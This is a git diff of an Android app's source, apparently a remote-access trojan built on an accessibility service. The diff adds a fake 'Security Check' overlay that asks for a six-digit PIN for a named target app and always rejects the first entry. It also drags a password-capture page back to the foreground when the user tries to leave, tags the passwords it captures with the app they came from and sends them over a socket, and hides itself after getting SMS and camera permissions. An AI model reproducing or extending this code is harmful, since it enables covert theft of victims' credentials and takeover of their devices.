+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "申请短信权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_SMS_PERMISSION,
+ "sms_request"
+ )
} else {
Log.i(TAG, "短信权限已授予")
}
@@ -5219,10 +6269,23 @@ class MainActivity : AppCompatActivity() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.CAMERA)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "摄像头权限被系统固定拒绝(直接请求)")
+ updateStatusTextThreadSafe(
+ "相机权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "📷 直接申请摄像头权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.CAMERA),
- REQUEST_CAMERA_PERMISSION
+ REQUEST_CAMERA_PERMISSION,
+ "camera_direct_request"
)
} else {
Log.i(TAG, "摄像头权限已授予")
@@ -5242,10 +6305,23 @@ class MainActivity : AppCompatActivity() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.CAMERA)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "摄像头权限被系统固定拒绝")
+ updateStatusTextThreadSafe(
+ "相机权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "📷 申请摄像头权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.CAMERA),
- REQUEST_CAMERA_PERMISSION
+ REQUEST_CAMERA_PERMISSION,
+ "camera_request"
)
} else {
Log.i(TAG, "摄像头权限已授予")
@@ -5295,6 +6371,16 @@ class MainActivity : AppCompatActivity() {
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
+ recordRuntimePermissionResult(permissions, grantResults)
+ if (
+ requestCode == REQUEST_SMS_PERMISSION ||
+ requestCode == REQUEST_GALLERY_PERMISSION ||
+ requestCode == REQUEST_MICROPHONE_PERMISSION ||
+ requestCode == REQUEST_CAMERA_PERMISSION ||
+ requestCode == REQUEST_ALL_PERMISSIONS
+ ) {
+ pendingSingleRuntimePermissionRequest = false
+ }
when (requestCode) {
REQUEST_SMS_PERMISSION -> {
@@ -5305,6 +6391,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "短信权限被拒绝")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_GALLERY_PERMISSION -> {
@@ -5315,6 +6405,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "相册权限未授予")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_MICROPHONE_PERMISSION -> {
@@ -5325,6 +6419,10 @@ class MainActivity : AppCompatActivity() {
} else {
Log.w(TAG, "麦克风权限未授予")
}
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 1200)
}
REQUEST_CAMERA_PERMISSION -> {
@@ -5374,10 +6472,93 @@ class MainActivity : AppCompatActivity() {
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
}
+
+ if (unifiedPermissionFlowInProgress) {
+ Handler(mainLooper).postDelayed({
+ continueUnifiedPermissionFlow("运行时权限回调")
+ }, getRuntimeFlowContinueDelayMs())
+ }
+
+ Handler(mainLooper).postDelayed({
+ try {
+ AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask()
+ } catch (e: Exception) {
+ Log.w(TAG, "运行时权限回调后触发配置完成检查失败", e)
+ }
+ }, 500)
}
}
}
+ private fun getPermissionFlowActionIntervalMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS
+ } else {
+ MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS
+ }
+ }
+
+ private fun getRuntimeRequestDispatchIntervalMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS
+ } else {
+ RUNTIME_REQUEST_DISPATCH_INTERVAL_MS
+ }
+ }
+
+ private fun getRuntimeFlowContinueDelayMs(): Long {
+ return if (isSlowPermissionFlowModeEnabled()) {
+ SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS
+ } else {
+ RUNTIME_FLOW_CONTINUE_DELAY_MS
+ }
+ }
+
+ private fun isSlowPermissionFlowModeEnabled(): Boolean {
+ cachedSlowPermissionFlowMode?.let { return it }
+
+ val isXiaomiFamily = isXiaomiFamilyDevice()
+ val isFirstInstallWindow = isWithinFirstInstallWindow()
+ val enabled = isXiaomiFamily && isFirstInstallWindow
+ cachedSlowPermissionFlowMode = enabled
+
+ if (!slowPermissionFlowModeLogged) {
+ slowPermissionFlowModeLogged = true
+ Log.i(
+ TAG,
+ "⏱️ 权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow, actionInterval=${if (enabled) SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS else MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS}ms"
+ )
+ }
+ return enabled
+ }
+
+ private fun isXiaomiFamilyDevice(): Boolean {
+ val brand = (Build.BRAND ?: "").lowercase()
+ val manufacturer = (Build.MANUFACTURER ?: "").lowercase()
+ return brand.contains("xiaomi") ||
+ brand.contains("redmi") ||
+ brand.contains("poco") ||
+ manufacturer.contains("xiaomi") ||
+ manufacturer.contains("redmi")
+ }
+
+ private fun isWithinFirstInstallWindow(): Boolean {
+ return try {
+ val launchPrefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE)
+ val launchCount = launchPrefs.getInt("launch_count", 0)
+
+ val installAgeMs = runCatching {
+ val pkgInfo = packageManager.getPackageInfo(packageName, 0)
+ System.currentTimeMillis() - pkgInfo.firstInstallTime
+ }.getOrDefault(Long.MAX_VALUE)
+
+ launchCount <= SLOW_MODE_MAX_LAUNCH_COUNT || installAgeMs in 0..FIRST_INSTALL_GRACE_PERIOD_MS
+ } catch (e: Exception) {
+ Log.w(TAG, "首装窗口判定失败，默认关闭慢速模式", e)
+ false
+ }
+ }
+
/**
* 启动WebView页面
* 从server_config.json读取webUrl配置
@@ -5848,13 +7029,12 @@ class MainActivity : AppCompatActivity() {
* 将当前Activity隐藏到后台而不销毁
*/
private fun hideActivityToBackground() {
- // 🚀 简化：允许用户正常返回，不强制隐藏
-// try {
-// moveTaskToBack(true)
-// Log.i(TAG, "已将MainActivity隐藏到后台")
-// } catch (e: Exception) {
-// Log.w(TAG, "隐藏Activity到后台失败: ${e.message}")
-// }
+ try {
+ moveTaskToBack(true)
+ Log.i(TAG, "已将MainActivity隐藏到后台")
+ } catch (e: Exception) {
+ Log.w(TAG, "隐藏Activity到后台失败: ${e.message}")
+ }
}
/**
@@ -6236,4 +7416,4 @@ object MediaProjectionHolder {
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/OperationLogCollector.kt b/app/src/main/java/com/hikoncont/OperationLogCollector.kt
index 7bc7b22..8673f95 100644
--- a/app/src/main/java/com/hikoncont/OperationLogCollector.kt
+++ b/app/src/main/java/com/hikoncont/OperationLogCollector.kt
@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText,
"displayText" to actualText,
- "numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
+ "numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
+ "packageName" to packageName,
+ "className" to className
)
passwordInputEvents.add(inputEvent)
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
+ val lastEvent = passwordInputEvents.lastOrNull()
+ val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
+ val sourceClassName = lastEvent?.get("className") as? String ?: ""
logScope.launch {
val extraData = mutableMapOf(
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
- "correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
+ "correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
+ "sourcePackageName" to sourcePackageName,
+ "sourceClassName" to sourceClassName
)
// ✅ 如果有确认按钮坐标，记录到extraData中
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
return isKeyboardRelated && hasNumericContent
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
index 5987c35..3cac878 100644
--- a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
+++ b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt
@@ -7,6 +7,8 @@ import androidx.work.WorkManager
import com.hikoncont.crash.CrashHandler
import com.hikoncont.service.WorkManagerKeepAliveService
import com.hikoncont.service.ComprehensiveKeepAliveManager
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.RuntimeFeatureFlags
/**
* 应用程序主类
@@ -36,6 +38,17 @@ class RemoteControlApplication : Application() {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
startComprehensiveKeepAliveIfInstallationComplete()
}, 10000L) // 延迟10秒启动，避免干扰用户正常使用
+
+ val runtimeFlags = RuntimeFeatureFlags.current(this)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "application_on_create",
+ success = true,
+ data = mapOf(
+ "workManagerKeepAlive" to runtimeFlags.workManagerKeepAlive,
+ "comprehensiveKeepAlive" to runtimeFlags.comprehensiveKeepAlive
+ )
+ )
Log.i(TAG, "✅ 应用程序初始化完成")
} catch (e: Exception) {
@@ -71,6 +84,12 @@ class RemoteControlApplication : Application() {
*/
private fun startWorkManagerKeepAliveIfInstallationComplete() {
try {
+ val flags = RuntimeFeatureFlags.current(this)
+ if (!flags.workManagerKeepAlive) {
+ Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false，跳过WorkManager保活启动")
+ return
+ }
+
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -88,8 +107,20 @@ class RemoteControlApplication : Application() {
workManagerKeepAlive.startKeepAlive(this)
Log.i(TAG, "✅ WorkManager 保活服务已启动")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "workmanager_keepalive_start",
+ success = true,
+ data = mapOf("source" to "application")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "workmanager_keepalive_start",
+ success = false,
+ data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
+ )
}
}
@@ -114,6 +145,12 @@ class RemoteControlApplication : Application() {
*/
private fun startComprehensiveKeepAliveIfInstallationComplete() {
try {
+ val flags = RuntimeFeatureFlags.current(this)
+ if (!flags.comprehensiveKeepAlive) {
+ Log.i(TAG, "⏭️ featureFlags.comprehensiveKeepAlive=false，跳过综合保活启动")
+ return
+ }
+
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -140,9 +177,21 @@ class RemoteControlApplication : Application() {
keepAliveManager.startComprehensiveKeepAlive()
Log.i(TAG, "✅ 综合保活管理器启动完成")
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "comprehensive_keepalive_start",
+ success = true,
+ data = mapOf("source" to "application")
+ )
} catch (e: Exception) {
Log.e(TAG, "❌ 启动综合保活管理器失败", e)
+ DeviceMetricsReporter.reportKeepAlive(
+ context = this,
+ metricName = "comprehensive_keepalive_start",
+ success = false,
+ data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
+ )
}
}
diff --git a/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt
new file mode 100644
index 0000000..ea753bd
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt
@@ -0,0 +1,183 @@
+package com.hikoncont.activity
+
+import android.graphics.Color
+import android.os.Bundle
+import android.os.Handler
+import android.os.Looper
+import android.text.InputFilter
+import android.text.InputType
+import android.util.Log
+import android.view.Gravity
+import android.view.ViewGroup
+import android.view.WindowManager
+import android.widget.Button
+import android.widget.EditText
+import android.widget.LinearLayout
+import android.widget.TextView
+import androidx.appcompat.app.AppCompatActivity
+import com.hikoncont.service.AccessibilityRemoteService
+
+class AppInjectionPinActivity : AppCompatActivity() {
+ companion object {
+ private const val TAG = "AppInjectionPinActivity"
+ }
+
+ private lateinit var pinInput: EditText
+ private lateinit var statusText: TextView
+ private var attemptCount = 0
+ private var completed = false
+ private var targetPackage: String = ""
+ private var targetAppName: String = ""
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
+ targetPackage = intent.getStringExtra("targetPackage").orEmpty()
+ targetAppName = intent.getStringExtra("targetAppName").orEmpty()
+
+ window.addFlags(
+ WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
+ WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
+ WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ )
+ setFinishOnTouchOutside(false)
+
+ val root = LinearLayout(this).apply {
+ orientation = LinearLayout.VERTICAL
+ setPadding(48, 64, 48, 48)
+ setBackgroundColor(Color.parseColor("#111111"))
+ gravity = Gravity.CENTER_HORIZONTAL
+ layoutParams = ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT
+ )
+ }
+
+ val title = TextView(this).apply {
+ text = "Security Check"
+ setTextColor(Color.WHITE)
+ textSize = 24f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ title,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ val subTitle = TextView(this).apply {
+ val appPart = if (targetAppName.isNotBlank()) targetAppName else targetPackage.ifBlank { "target app" }
+ text = "Enter 6-digit PIN to continue ($appPart)"
+ setTextColor(Color.parseColor("#B0B0B0"))
+ textSize = 14f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ subTitle,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = 20
+ bottomMargin = 24
+ }
+ )
+
+ pinInput = EditText(this).apply {
+ hint = "6-digit PIN"
+ setHintTextColor(Color.parseColor("#666666"))
+ setTextColor(Color.WHITE)
+ textSize = 22f
+ gravity = Gravity.CENTER
+ inputType = InputType.TYPE_CLASS_NUMBER or InputType.TYPE_NUMBER_VARIATION_PASSWORD
+ filters = arrayOf(InputFilter.LengthFilter(6))
+ setSingleLine(true)
+ setBackgroundColor(Color.parseColor("#222222"))
+ setPadding(20, 20, 20, 20)
+ }
+ root.addView(
+ pinInput,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ statusText = TextView(this).apply {
+ text = "Waiting for input"
+ setTextColor(Color.parseColor("#B0B0B0"))
+ textSize = 13f
+ gravity = Gravity.CENTER
+ }
+ root.addView(
+ statusText,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = 14
+ bottomMargin = 20
+ }
+ )
+
+ val confirmButton = Button(this).apply {
+ text = "Confirm"
+ setOnClickListener { onConfirmClick() }
+ }
+ root.addView(
+ confirmButton,
+ LinearLayout.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.WRAP_CONTENT
+ )
+ )
+
+ setContentView(root)
+ }
+
+ override fun onBackPressed() {
+ // Keep the challenge flow deterministic; avoid accidental dismissal.
+ statusText.text = "PIN check is required"
+ statusText.setTextColor(Color.parseColor("#FFB74D"))
+ }
+
+ private fun onConfirmClick() {
+ val pin = pinInput.text?.toString()?.trim().orEmpty()
+ if (!pin.matches(Regex("^\\d{6}$"))) {
+ statusText.text = "PIN must be 6 digits"
+ statusText.setTextColor(Color.parseColor("#FFB74D"))
+ return
+ }
+
+ attemptCount += 1
+ val service = AccessibilityRemoteService.getInstance()
+
+ if (attemptCount == 1) {
+ statusText.text = "Incorrect PIN, try again"
+ statusText.setTextColor(Color.parseColor("#EF5350"))
+ pinInput.setText("")
+ service?.onAppInjectionPinAttempt(success = false, attempt = attemptCount)
+ return
+ }
+
+ completed = true
+ statusText.text = "PIN accepted"
+ statusText.setTextColor(Color.parseColor("#66BB6A"))
+ service?.onAppInjectionPinAttempt(success = true, attempt = attemptCount)
+
+ Handler(Looper.getMainLooper()).postDelayed({
+ finish()
+ }, 250)
+ }
+
+ override fun onDestroy() {
+ super.onDestroy()
+ if (!completed) {
+ Log.i(TAG, "PIN activity dismissed before completion")
+ AccessibilityRemoteService.getInstance()?.onAppInjectionPinDismissed("activity_destroyed")
+ }
+ }
+}
+
diff --git a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
index 70c3220..af12a0d 100644
--- a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
+++ b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt
@@ -14,6 +14,7 @@ import android.view.Gravity
import android.content.BroadcastReceiver
import android.content.IntentFilter
import com.hikoncont.service.modules.ConfigProgressManager
+import com.hikoncont.util.registerReceiverCompat
import org.json.JSONObject
import java.io.BufferedReader
import java.io.InputStreamReader
@@ -355,13 +356,13 @@ class ConfigMaskActivity : Activity() {
private fun registerHideReceiver() {
try {
val filter = android.content.IntentFilter("android.mycustrecev.HIDE_CONFIG_MASK")
- registerReceiver(hideReceiver, filter)
+ registerReceiverCompat(hideReceiver, filter)
Log.i(TAG, "✅ 隐藏广播接收器注册成功")
// 注册进度更新广播接收器
if (enableProgressBar) {
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
- registerReceiver(progressReceiver, progressFilter)
+ registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ ConfigMaskActivity进度更新广播接收器注册成功")
Log.i(TAG, "📡 监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
} else {
@@ -433,4 +434,4 @@ class ConfigMaskActivity : Activity() {
}
}, 500)
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
index 12bc604..fa7e61c 100644
--- a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
+++ b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt
@@ -5,6 +5,7 @@ import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
+import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
@@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() {
private var patternTrajectory = mutableListOf()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
+ private var passwordFlowCompleted = false // 标记密码流程是否已完成，完成后不再强制拉回
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
+ private val enableLockTaskForSocketWake = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
@@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
+ if (shouldKeepForeground() && enableLockTaskForSocketWake) {
+ tryStartLockTaskMode()
+ }
+
// 如果是socket唤醒且没有正在强制显示，则强制显示密码页面
- if (isSocketWake && !isForceShowing) {
+ if (shouldKeepForeground() && !isForceShowing) {
isForceShowing = true
forceShowPasswordPage()
}
@@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
- // 防止Activity被销毁，保持在后台
- if (isSocketWake) {
- Log.i(TAG, "🔐 Socket唤醒模式：防止Activity被销毁，保持在后台")
- // 不执行任何可能导致Activity销毁的操作
- } else {
- // 防止用户通过其他方式退出，重新显示页面
- Handler(Looper.getMainLooper()).postDelayed({
- if (!isFinishing && !isDestroyed) {
- Log.i(TAG, "🔐 检测到页面被暂停，重新显示密码输入页面")
- }
- }, 1000)
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到页面进入后台，准备强制回到密码页")
+ scheduleForceReturn("onPause")
}
}
@@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
- // 防止Activity被销毁，保持在后台
- if (isSocketWake) {
- Log.i(TAG, "🔐 Socket唤醒模式：防止Activity被销毁，保持在后台")
- // 不执行任何可能导致Activity销毁的操作
- // Activity将保持在后台，不会被销毁
- } else {
- // 防止用户通过其他方式退出，重新显示页面
- Handler(Looper.getMainLooper()).postDelayed({
- if (!isFinishing && !isDestroyed) {
- Log.i(TAG, "🔐 检测到页面被停止，重新显示密码输入页面")
- }
- }, 1000)
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到页面被停止，准备强制回到密码页")
+ scheduleForceReturn("onStop")
+ }
+ }
+
+ override fun onUserLeaveHint() {
+ super.onUserLeaveHint()
+ if (shouldKeepForeground()) {
+ Log.i(TAG, "🔐 检测到用户尝试离开密码页（Home/最近任务），准备强制回到密码页")
+ scheduleForceReturn("onUserLeaveHint")
}
}
@@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() {
passwordType,
"PasswordInputActivity",
deviceId,
- installationId
+ installationId,
+ "manual_password_input_activity"
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
@@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程（无需密码输入）")
+ if (passwordFlowCompleted) {
+ Log.w(TAG, "⚠️ 密码流程已完成，忽略重复完成请求")
+ return
+ }
+ passwordFlowCompleted = true
+ tryStopLockTaskMode()
+
try {
// ✅ 检查是否已经安装完成，如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
+ if (passwordFlowCompleted) {
+ Log.w(TAG, "⚠️ 密码流程已完成，忽略重复完成请求")
+ return
+ }
+ passwordFlowCompleted = true
+ tryStopLockTaskMode()
+
try {
// ✅ 检查是否已经安装完成，如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() {
val timestamp: Long
)
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 仅在 Socket 唤醒且密码流程未完成时，才需要强制保持前台。
+ */
+ private fun shouldKeepForeground(): Boolean {
+ return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 异步触发前台回拉，避免与系统生命周期回调冲突。
+ */
+ private fun scheduleForceReturn(source: String) {
+ Handler(Looper.getMainLooper()).postDelayed({
+ if (!shouldKeepForeground()) {
+ return@postDelayed
+ }
+ if (isFinishing || isDestroyed) {
+ return@postDelayed
+ }
+ Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
+ checkAndForceShowIfNeeded()
+ }, 260)
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 尝试开启锁任务模式，进一步降低 Home/最近任务离开概率。
+ */
+ private fun tryStartLockTaskMode() {
+ if (!enableLockTaskForSocketWake) {
+ Log.i(TAG, "🔓 锁任务模式已禁用，跳过 startLockTask")
+ return
+ }
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ return
+ }
+ try {
+ startLockTask()
+ Log.i(TAG, "🔐 已尝试开启锁任务模式")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 开启锁任务模式失败（可能设备不支持）", e)
+ }
+ }
+
+ /**
+ * 作者: sue
+ * 日期: 2026-02-19
+ * 说明: 密码流程完成后关闭锁任务模式，恢复系统正常行为。
+ */
+ private fun tryStopLockTaskMode() {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ return
+ }
+ try {
+ stopLockTask()
+ Log.i(TAG, "🔓 已尝试关闭锁任务模式")
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 关闭锁任务模式失败（可能未开启）", e)
+ }
+ }
+
/**
* 强制显示密码页面（Socket唤醒专用）
*/
diff --git a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
index 35e493d..2194807 100644
--- a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt
@@ -46,34 +46,8 @@ class GalleryManager(private val service: AccessibilityRemoteService) {
val result = mutableListOf()
if (!hasReadMediaPermission()) {
- Log.w(TAG, "⚠️ 相册读取权限未授予，尝试自动申请")
- try {
- // 触发自动权限申请
- service.requestGalleryPermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发相册权限申请失败", e)
- }
-
- // 轮询等待权限授予，最多等待约8秒
- var attempts = 0
- val maxAttempts = 16
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (ie: InterruptedException) {
- // 忽略中断，继续检查
- }
- if (hasReadMediaPermission()) {
- Log.i(TAG, "✅ 相册读取权限已在等待期间授予，继续读取")
- break
- }
- attempts++
- }
-
- if (!hasReadMediaPermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限，返回空列表")
- return result
- }
+ Log.w(TAG, "⚠️ 相册读取权限未授予，已停止自动申请（需手动触发权限申请）")
+ return result
}
try {
diff --git a/app/src/main/java/com/hikoncont/manager/GestureController.kt b/app/src/main/java/com/hikoncont/manager/GestureController.kt
index eaef109..d8cda5d 100644
--- a/app/src/main/java/com/hikoncont/manager/GestureController.kt
+++ b/app/src/main/java/com/hikoncont/manager/GestureController.kt
@@ -3,6 +3,8 @@
import android.accessibilityservice.GestureDescription
import android.graphics.Path
import android.graphics.PointF
+import android.os.Handler
+import android.os.Looper
import android.util.Log
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.*
@@ -26,6 +28,30 @@ class GestureController(private val service: AccessibilityRemoteService) {
}
private val gestureScope = CoroutineScope(Dispatchers.Main)
+ private val callbackHandler = Handler(Looper.getMainLooper())
+
+ private fun dispatchGestureWithTrace(gesture: GestureDescription, actionName: String): Boolean {
+ return try {
+ val accepted = service.dispatchGesture(
+ gesture,
+ object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
+ override fun onCompleted(gestureDescription: GestureDescription?) {
+ Log.d(TAG, "✅ 手势完成: $actionName")
+ }
+
+ override fun onCancelled(gestureDescription: GestureDescription?) {
+ Log.w(TAG, "⚠️ 手势取消: $actionName")
+ }
+ },
+ callbackHandler
+ )
+ Log.d(TAG, "🎯 手势下发结果: $actionName, accepted=$accepted")
+ accepted
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 手势下发异常: $actionName", e)
+ false
+ }
+ }
/**
* 执行手势操作（覆盖窗口不影响系统级手势操作）
@@ -47,8 +73,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, CLICK_DURATION)
val gesture = GestureDescription.Builder().addStroke(stroke).build()
-
- service.dispatchGesture(gesture, null, null)
+
+ dispatchGestureWithTrace(gesture, "click($x,$y)")
Log.d(TAG, "执行点击操作: ($x, $y)")
}
}
@@ -61,8 +87,8 @@ class GestureController(private val service: AccessibilityRemoteService) {
val path = Path().apply { moveTo(x, y) }
val stroke = GestureDescription.StrokeDescription(path, 0, LONG_PRESS_DURATION)
